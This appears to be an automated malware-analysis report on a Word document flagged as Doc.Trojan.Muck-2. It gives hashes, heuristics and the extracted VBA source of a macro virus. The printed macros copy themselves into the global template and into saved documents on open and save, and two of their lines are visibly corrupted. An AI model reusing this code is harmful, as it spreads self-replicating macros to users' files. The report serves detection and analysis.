Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a90bb0c344f18188…

MALICIOUS

Office (OLE)

42.5 KB Created: 2002-03-17 14:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e70907c663993279715799cb01c5c0d5 SHA-1: e96cd528b4c9f3437a2e922370b4160f45490bd4 SHA-256: a90bb0c344f181887bf992bb314c38ea5f6bacd4636f67562a859e7baf5328bb
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros, specifically triggering AutoOpen and AutoClose events. The embedded VBA script attempts to copy other macros such as AutoOpen, AutoClose, AutoNew, and AutoExit into the current document's template. This behavior is indicative of a macro-based malware dropper designed to execute arbitrary code, likely for further payload delivery.

Heuristics 5

  • ClamAV: Doc.Trojan.Muck-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Muck-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3360 bytes
SHA-256: 8068c24fbf3c7b3da29c7135c9e3db38d11d9f75f61c4f84146b21015eeadfac
Detection
ClamAV: Doc.Trojan.Muck-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves a copy of the document in a separate file"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim ExecuteOnly
Dim es New Roman
On Error Resume Next
WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", ExecuteOnly
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", ExecuteOnly
WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", ExecuteOnly
WordBasic.MacroCopy "Global:AutoExit", WordBasic.[FileName$]('EndIf es New Roman

Attribute VB_Name = "FileSave"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves the active document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSave.MAIN"
Dim ExecuteOnly
On Error Resume Next
WordBasic.FileSave
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", ExecuteOnly
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", ExecuteOnly
WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", ExecuteOnly
WordBasic.MacroCopy "Global:AutoExit", WordBasic.[FileName$]() + ":AutoExit", ExecuteOnly
WordBasic.MacroCopy "Global:FileSave", WordBasic.[FileName$]() + ":FileSave", ExecuteOnly
WordBasic.MacroCopy "Global:FileSaveAs", WordBasic.[FileName$]() + ":FileSaveAs", ExecuteOnly
If WordBasic.Int(Rnd(1) * 5) = 4 Then WordBasic.MsgBox "MUCK"
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim ExecuteOnly
If WordBasic.Int(Rnd(1) * 5) = 4 Then WordBasic.MsgBox "MUCK"
On Error Resume Next
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", ExecuteOnly
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose", ExecuteOnly
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "Global:AutoNew", ExecuteOnly
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoExit", "Global:AutoExit", ExecuteOnly
WordBasic.MacroCopy WordBasic.[FileName$]() + ":FileSave", "Global:FileSave", ExecuteOnly
WordBasic.MacroCopy WordBasic.[FileName$]() + ":FileSaveAs", "Global:FileSaveAs", ExecuteOnly


WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", ExecuteOnly
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", ExecuteOnly
WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", ExecuteOnly
WordBasic.MacroCopy "Global:AutoExit", WordBasic.[FileName$]() + ":AutoExit", ExecuteOnly
WordBasic.MacroCopy "Global:FileSave", WordBasic.[FileName$]() + ":FileSave", ExecuteOnly
WordBasic.MacroCopy "Global:FileSaveAs", WordBasic.[FileName$]() + ":FileSaveAs", ExecuteOnly
WordBasic.FileSaveAll 1
End Sub

Attribute VB_Name = "AutoExit"

Public Sub MAIN()
If WordBasic.Int(Rnd(1) * 5) = 4 Then WordBasic.MsgBox "MUCK"
End Sub

Attribute VB_Name = "AutoNew"

Public Sub MAIN()
If WordBasic.Int(Rnd(1) * 5) = 4 Then WordBasic.MsgBox "MUCK"
End Sub

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